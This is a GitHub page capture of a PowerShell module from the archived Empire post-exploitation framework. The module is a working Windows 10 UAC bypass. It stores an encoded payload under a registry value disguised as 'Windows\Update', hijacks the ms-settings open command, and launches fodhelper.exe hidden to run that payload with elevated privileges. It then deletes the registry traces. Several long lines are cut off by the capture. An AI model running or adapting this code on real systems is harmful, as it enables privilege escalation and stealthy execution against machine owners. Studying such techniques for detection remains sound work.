Sign in

This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

EmpireProject / **Empire** Public archive

Notifications | Fork 2.8k | Star 7.4k

Code | Issues 64 | Pull requests 37 | Actions | Projects | Wiki | Security | Insig

Empire / data / module_source / privesc / **Invoke-FodHelperBypass.ps1**

105 lines (83 loc) · 4.41 KB

Code | Blame | Raw

```
function Invoke-FodHelperBypass {
<#
.SYNOPSIS

Bypasses UAC by performing an registry modification for FodHelper (based on https://winscripting.bl

Only tested on Windows 10

Author: Petr Medonos (@PetrMedonos)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.PARAMETER Command

 Specifies the base64 encoded command you want to run in a high-integrity context.

.EXAMPLE

Invoke-FodHelperBypass -Command "IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdA

This will write out "Is Elevated: True" to C:\UACBypassTest.

#>
```

```

    [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
    Param (
        [Parameter(Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Command,

        [Switch]
        $Force
    )
    $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Sys
    $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Polici

    if(($(whoami /groups) -like "*S-1-5-32-544*").length -eq 0) {
        "[!] Current user not a local administrator!"
        Throw ("Current user not a local administrator!")
    }
    if (($(whoami /groups) -like "*S-1-16-8192*").length -eq 0) {
        "[!] Not in a medium integrity process!"
        Throw ("Not in a medium integrity process!")
    }

    if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){
        "UAC is set to 'Always Notify'. This module does not bypass this setting."
        exit
    }
    else{
        #Begin Execution

        #Store the payload
        $RegPath = 'HKCU:Software\Microsoft\Windows\Update'
        $parts = $RegPath.split('\');
        $path = $RegPath.split("\")[0..($parts.count -2)] -join '\';
        $name = $parts[-1];
        $null = Set-ItemProperty -Force -Path $path -Name $name -Value $Command;

        $mssCommandPath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"

        $launcherCommand = $pshome + '\' + 'powershell.exe -NoP -NonI -W Hidden -c $x=$((gp HKCU:So
        #Add in the new registry entries to execute launcher
        if ($Force -or ((Get-ItemProperty -Path $mssCommandPath -Name '(default)' -ErrorAction Sile
            New-Item $mssCommandPath -Force | Out-Null
            New-ItemProperty -Path $mssCommandPath -Name "DelegateExecute" -Value "" -Force | Out-N
            Set-ItemProperty -Path $mssCommandPath -Name "(default)" -Value $launcherCommand -Force
        }else{
            Write-Warning "Key already exists, consider using -Force"
            exit
        }


        $FodHelperPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'fodhe
        #Start Event Viewer
        if ($PSCmdlet.ShouldProcess($FodHelperPath, 'Start process')) {
            $Process = Start-Process -FilePath $FodHelperPath -PassThru -WindowStyle Hidden
            Write-Verbose "Started fodhelper.exe"
        }

        #Sleep 5 seconds
        Write-Verbose "Sleeping 5 seconds to trigger payload"
        if (-not $PSBoundParameters['WhatIf']) {
            Start-Sleep -Seconds 5
        }

        $mssfilePath = 'HKCU:\Software\Classes\ms-settings\'
        $PayloadPath = 'HKCU:Software\Microsoft\Windows'
        $PayloadKey = "Update"

        if (Test-Path $mssfilePath) {
            #Remove the registry entry
            Remove-Item $mssfilePath -Recurse -Force
            Remove-ItemProperty -Force -Path $PayloadPath -Name $PayloadKey
            Write-Verbose "Removed registry entries"
        }

        if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
            Stop-Process -Id $Process.Id
            Write-Verbose "Killed running fodhelper process"
        }
    }
}
```